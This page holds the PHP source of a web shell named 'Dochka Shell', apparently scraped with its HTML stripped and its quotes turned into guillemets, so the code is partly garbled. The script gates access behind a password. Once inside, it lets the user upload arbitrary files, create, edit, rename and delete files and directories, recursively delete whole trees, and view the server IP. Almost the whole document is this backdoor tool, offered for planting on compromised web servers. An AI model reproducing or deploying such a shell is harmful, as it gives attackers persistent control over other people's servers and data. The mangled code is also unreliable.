Accueil

Dochka Shell


Pass:



« ;
if(isset($_POST[‘minim_pass’])){
if($_POST[‘minim_pass’] == $auth){
$_SESSION[‘admin’] = true;
pindah(‘?home’);
} else {
alert(‘WRONG PASSWORD!’);
pindah(‘?retry’);
}
}
}

function write($content,$dir){
$fh = fopen($dir, »w »);
if(fwrite($fh,$content)){
fclose($fh);
return true;
}
fclose($fh);
return false;
}

function delTree($dir){
$files = array_diff(scandir($dir), array(‘.’, ‘..’));
foreach ($files as $file) {
(is_dir(« $dir/$file »)) ? delTree(« $dir/$file ») : unlink(« $dir/$file »);
}
return rmdir($dir);
}

function alert($msg){
echo « « ;
}

function pindah($dir){
echo « « ;
}

if($_SESSION[‘admin’] === true){
echo « – Dochka –

Dochka Shell

« ;

$dir = $_GET[‘dir’] ?? getcwd();
echo «  Server IP: « .serverip(). » | Your IP: « .$_SERVER[‘REMOTE_ADDR’]. »
« ;
echo « Home | + File | + Dir | Exit

« ;

// File Upload
if(isset($_POST[‘upload’]) && isset($_FILES[‘vulnfile’])){
$dest = $dir.’/’.basename($_FILES[‘vulnfile’][‘name’]);
if(move_uploaded_file($_FILES[‘vulnfile’][‘tmp_name’], $dest)){
echo « Upload Successful
« ;
} else {
echo « Upload Failed
« ;
}
}

// New File
if(isset($_GET[‘nf’])){
echo « 

New File:

« ;
if(isset($_POST[‘fok’])){
pindah(« ?edit=$dir/ ».$_POST[‘fname’]. »&dir=$dir »);
}
}

// New Directory
if(isset($_GET[‘nd’])){
echo « 

New Dir:

« ;
if(isset($_POST[‘fok’])){
if(mkdir(« $dir/ ».$_POST[‘fname’])){
echo « Directory Created Successfully »;
} else { echo « Failed »; }
}
}

// Edit File
if(isset($_GET[‘edit’])){
$save = $_GET[‘edit’];
$cont = htmlspecialchars(file_get_contents($save));
echo « 



« ;
if(isset($_POST[‘savefile’])){
if(write($_POST[‘fcont’],$save)){
alert(‘File Saved Successfully’);
} else { alert(‘Failed to Save’); }
}
}

// File/Directory Listing
echo « 

« ;
$files = scandir($dir);
foreach($files as $file){
if($file === « . » || $file === « .. ») continue;
$path = « $dir/$file »;
echo « 

« ;
echo « 

« ;
echo « 

« ;
echo « 

« ;
echo « 

« ;
}
echo « 

$file « .(is_dir($path) ? « Folder » : filesize($path). » bytes »). » Delete |
Rename

« ;

// Delete file
if(isset($_GET[‘del’])){
if(is_file($_GET[‘del’]) && unlink($_GET[‘del’])){
echo « Deleted Successfully »;
}
}

// Rename file/dir
if(isset($_GET[‘renf’])){
$now = $_GET[‘renf’];
echo « 

New Name:

« ;
if(isset($_POST[‘fok’])){
$new = $_POST[‘fname’];
if(rename($now, »$dir/$new »)){
echo « Renamed Successfully »;
} else { echo « Failed »; }
}
}

// Exit
if(isset($_GET[‘exit’])){
session_destroy();
pindah(‘?home’);
}

// Upload Form
echo « 



« ;

} else {
login();
}
?>